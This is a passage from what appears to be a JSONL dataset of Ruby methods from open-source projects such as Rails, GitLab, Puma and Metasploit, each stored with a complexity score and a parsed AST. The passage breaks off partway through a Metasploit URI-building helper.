end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_query_counts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected\"]},{\"type\":\"arg\",\"children\":[\"actual\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QueryDiff\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]},{\"type\":\"ivar\",\"children\":[\"@show_common_queries\"]}]},\"diff\"]}]}","id":"27871edc-7587-454f-b63d-9ca9d509f7c0"} {"repo_name":"puma","file_path":"./repos/puma/test/test_integration_single.rb","start_line":73,"raw_source":"def test_term_suppress\n skip_unless_signal_exist? :TERM\n\n cli_server \"-C test/config/suppress_exception.rb test/rackup/hello.ru\"\n _, status = stop_server\n\n assert_equal 0, status\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_term_suppress\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless_signal_exist?\",{\"type\":\"sym\",\"children\":[\"TERM\"]}]},{\"type\":\"send\",\"children\":[null,\"cli_server\",{\"type\":\"str\",\"children\":[\"-C test/config/suppress_exception.rb test/rackup/hello.ru\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"stop_server\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"5517dea1-600f-41bd-ad54-a618522586dd"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/json_shared_test_cases.rb","start_line":56,"raw_source":"def test_type_cast_json\n type = klass.type_for_attribute(\"payload\")\n\n data = '{\"a_key\":\"a_value\"}'\n hash = type.deserialize(data)\n assert_equal({ \"a_key\" => \"a_value\" }, hash)\n assert_equal({ \"a_key\" => \"a_value\" }, type.deserialize(data))\n\n assert_equal({}, type.deserialize(\"{}\"))\n assert_equal({ \"key\" => nil }, type.deserialize('{\"key\": null}'))\n assert_equal({ \"c\" => \"}\", '\"a\"' => 'b \"a b' }, type.deserialize(%q({\"c\":\"}\", \"\\\"a\\\"\":\"b \\\"a b\"})))\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_type_cast_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"type_for_attribute\",{\"type\":\"str\",\"children\":[\"payload\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"{\\\"a_key\\\":\\\"a_value\\\"}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a_key\"]},{\"type\":\"str\",\"children\":[\"a_value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a_key\"]},{\"type\":\"str\",\"children\":[\"a_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"str\",\"children\":[\"{}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"str\",\"children\":[\"{\\\"key\\\": null}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"str\",\"children\":[\"}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"a\\\"\"]},{\"type\":\"str\",\"children\":[\"b \\\"a b\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"str\",\"children\":[\"{\\\"c\\\":\\\"}\\\", \\\"\\\\\\\"a\\\\\\\"\\\":\\\"b \\\\\\\"a b\\\"}\"]}]}]}]}]}","id":"2555a772-ed28-49b0-b0e0-933bd0c6a20b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/service_desk/custom_email_controller.rb","start_line":21,"raw_source":"def update\n response = ServiceDeskSettings::UpdateService.new(project, current_user, update_setting_params).execute\n\n if response.error?\n json_response(\n error_message: s_(\"ServiceDesk|Cannot update custom email\"),\n status: :unprocessable_entity\n )\n return\n end\n\n json_response\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceDeskSettings\"]},\"UpdateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"update_setting_params\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"error?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ServiceDesk|Cannot update custom email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"json_response\"]}]}]}","id":"cb350392-04f1-4b5e-be92-f3c01f10cad7"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/loggers.rb","start_line":90,"raw_source":"private_class_method def self.configure_external_loggers\n require 'awesome_spawn'\n AwesomeSpawn.logger = $log\n\n require 'inventory_refresh'\n InventoryRefresh.logger = $log\n end","complexity_score":4.8,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private_class_method\",{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"configure_external_loggers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"awesome_spawn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AwesomeSpawn\"]},\"logger=\",{\"type\":\"gvar\",\"children\":[\"$log\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"inventory_refresh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InventoryRefresh\"]},\"logger=\",{\"type\":\"gvar\",\"children\":[\"$log\"]}]}]}]}]}","id":"eb17cfb7-b790-417c-ba27-9fcf4ee29c01"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache/metrics.rb","start_line":15,"raw_source":"def increment_cache_hit(labels = {})\n counter.increment(base_labels.merge(labels, cache_hit: true))\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_cache_hit\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counter\"]},\"increment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_labels\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"labels\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"e4c1d64c-205d-4d4f-a5d4-4f9cd991cf7b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/log_file.rb","start_line":146,"raw_source":"def self.do_ping?\n ::Settings.log.collection.ping_depot == true\n end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"do_ping?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"log\"]},\"collection\"]},\"ping_depot\"]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}","id":"09db6c42-2edd-4e75-b834-c0a659a1ac62"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_stripper.rb","start_line":7,"raw_source":"def self.strip(nokogiri_fragment)\n run_core_strippers(nokogiri_fragment)\n run_plugin_strippers(nokogiri_fragment)\n nokogiri_fragment\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"strip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nokogiri_fragment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_core_strippers\",{\"type\":\"lvar\",\"children\":[\"nokogiri_fragment\"]}]},{\"type\":\"send\",\"children\":[null,\"run_plugin_strippers\",{\"type\":\"lvar\",\"children\":[\"nokogiri_fragment\"]}]},{\"type\":\"lvar\",\"children\":[\"nokogiri_fragment\"]}]}]}","id":"c99b753e-0166-48d5-b5a1-dcec4af1ea94"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/rescuable_test.rb","start_line":140,"raw_source":"def test_rescue_from_with_block_with_args\n @stargate.dispatch :ronanize\n assert_equal \"dex\", @stargate.result\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rescue_from_with_block_with_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stargate\"]},\"dispatch\",{\"type\":\"sym\",\"children\":[\"ronanize\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"dex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stargate\"]},\"result\"]}]}]}]}","id":"a05aacaa-8ab7-4158-a66b-a0a5ea3eff52"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/sorting_preference.rb","start_line":39,"raw_source":"def set_sort_order_from_user_preference(field = sorting_field)\n return unless current_user\n return unless field\n\n user_preference = current_user.user_preference\n\n sort_param = pagination_params[:sort]\n sort_param ||= user_preference[field]\n\n return sort_param if Gitlab::Database.read_only?\n\n user_preference.update(field => sort_param) if user_preference[field] != sort_param\n\n sort_param\n end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_sort_order_from_user_preference\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[null,\"sorting_field\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user_preference\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"user_preference\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sort_param\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sort_param\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_preference\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"read_only?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_param\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_preference\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"sort_param\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_preference\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"lvar\",\"children\":[\"sort_param\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"sort_param\"]}]}]}","id":"a3e2a68f-c9ba-400e-aed1-8b3a1fb4ca9d"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/table.rb","start_line":54,"raw_source":"def group(*columns)\n from.group(*columns)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from\"]},\"group\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"4e6144de-4b11-4955-939e-ff0484dad123"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/google_sheets/client.rb","start_line":120,"raw_source":"def column_index_to_letter(index)\n (\"A\"..\"ZZZ\").to_a[index - 1]\n end","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"column_index_to_letter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"str\",\"children\":[\"ZZZ\"]}]}]},\"to_a\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"3addf66d-6561-42de-852d-489d504f06c7"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/group_show_serializer.rb","start_line":133,"raw_source":"def include_associated_group_ids?\n scope.can_associate_groups?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_associated_group_ids?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_associate_groups?\"]}]}","id":"bad1de9e-b961-41d1-9970-7ae7e0289027"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/router_test.rb","start_line":263,"raw_source":"def test_generate_extra_params\n get \"/:controller(/:action)\", to: \"foo#bar\"\n\n path, params = _generate(\n nil, { id: 1,\n controller: \"tasks\",\n action: \"show\",\n relative_url_root: nil\n }, {})\n assert_equal \"/tasks/show\", path\n assert_equal({ id: \"1\" }, params)\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_extra_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/:controller(/:action)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"foo#bar\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"lvasgn\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"_generate\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"tasks\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_url_root\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/tasks/show\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"92810428-6251-4fc9-948c-ab7c8e561b3b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/callbacks/crm_contacts.rb","start_line":58,"raw_source":"def operation_mode_attribute\n @operation_mode_attribute = OPERATION_MODES[params[:operation_mode] || 'REPLACE']\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"operation_mode_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@operation_mode_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OPERATION_MODES\"]},\"[]\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operation_mode\"]}]},{\"type\":\"str\",\"children\":[\"REPLACE\"]}]}]}]}]}","id":"2e48381a-4e72-4e3c-bd4f-110d43f89f80"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/bulk_assign_role_controller.rb","start_line":6,"raw_source":"def assign_role\n if permitted_params[:role].blank?\n raise ArgumentError,\n I18n.t(\"admin.bulk_assign_role_controller.role_blank\")\n end\n\n role = permitted_params[:role]\n usernames = permitted_params[:usernames].downcase.split(/\\s*,\\s*/)\n note = permitted_params[:note_for_current_role].presence\n note ||= I18n.t(\"admin.bulk_assign_role_controller.role_assigment\", role: role)\n\n begin\n usernames.each do |username|\n user = User.find_by(username: username)\n user_action_status = user_action_status(user, role)\n if user\n Moderator::ManageActivityAndRoles.handle_user_roles(\n admin: current_user,\n user: user,\n user_params: { user_status: role, note_for_current_role: note },\n )\n end\n\n AuditLog.create(\n category: \"admin.bulk_assign_role.add_role\",\n user: current_user,\n roles: current_user.roles_name,\n slug: \"bulk_assign_role\",\n data: {\n role: role,\n username: username,\n user_action_status: user_action_status\n },\n )\n end\n flash[:success] = I18n.t(\"admin.bulk_assign_role_controller.success_message\")\n rescue StandardError => e\n flash[:danger] = e.message\n end\n redirect_to admin_bulk_assign_role_index_path\n rescue ArgumentError => e\n flash[:danger] = e.message\n redirect_to admin_bulk_assign_role_index_path\n end","complexity_score":69.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"role\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.bulk_assign_role_controller.role_blank\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"role\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"role\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"usernames\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"usernames\"]}]},\"downcase\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*,\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"note_for_current_role\"]}]},\"presence\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.bulk_assign_role_controller.role_assigment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usernames\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_action_status\",{\"type\":\"send\",\"children\":[null,\"user_action_status\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Moderator\"]},\"ManageActivityAndRoles\"]},\"handle_user_roles\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_status\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note_for_current_role\"]},{\"type\":\"lvar\",\"children\":[\"note\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuditLog\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"admin.bulk_assign_role.add_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"roles\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"roles_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"str\",\"children\":[\"bulk_assign_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_action_status\"]},{\"type\":\"lvar\",\"children\":[\"user_action_status\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.bulk_assign_role_controller.success_message\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"danger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_bulk_assign_role_index_path\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"danger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_bulk_assign_role_index_path\"]}]}]}]},null]}]}","id":"31a404d9-8371-4770-928b-91f212aa311a"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/components/cost_reports/index_page_header_component.rb","start_line":63,"raw_source":"def current_section\n return @current_section if defined?(@current_section)\n\n @current_section = CostReports::Menu\n .new(project: @project, params:)\n .selected_menu_group\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_section\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_section\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_section\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@current_section\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostReports\"]},\"Menu\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]},\"selected_menu_group\"]}]}]}]}","id":"7b15e4dc-e698-4513-853b-ab1d7d2574f5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http_server.rb","start_line":434,"raw_source":"def get_uri(cli=self.cli)\n resource = get_resource\n\n # The resource won't exist until the server is started\n return unless resource\n\n ssl = !!(datastore[\"SSL\"])\n proto = (ssl ? \"https://\" : \"http://\")\n if datastore['URIHOST']\n host = datastore['URIHOST']\n elsif (cli and cli.peerhost)\n host = Rex::Socket.source_address(cli.peerhost)\n else\n host = srvhost_addr\n end\n\n if 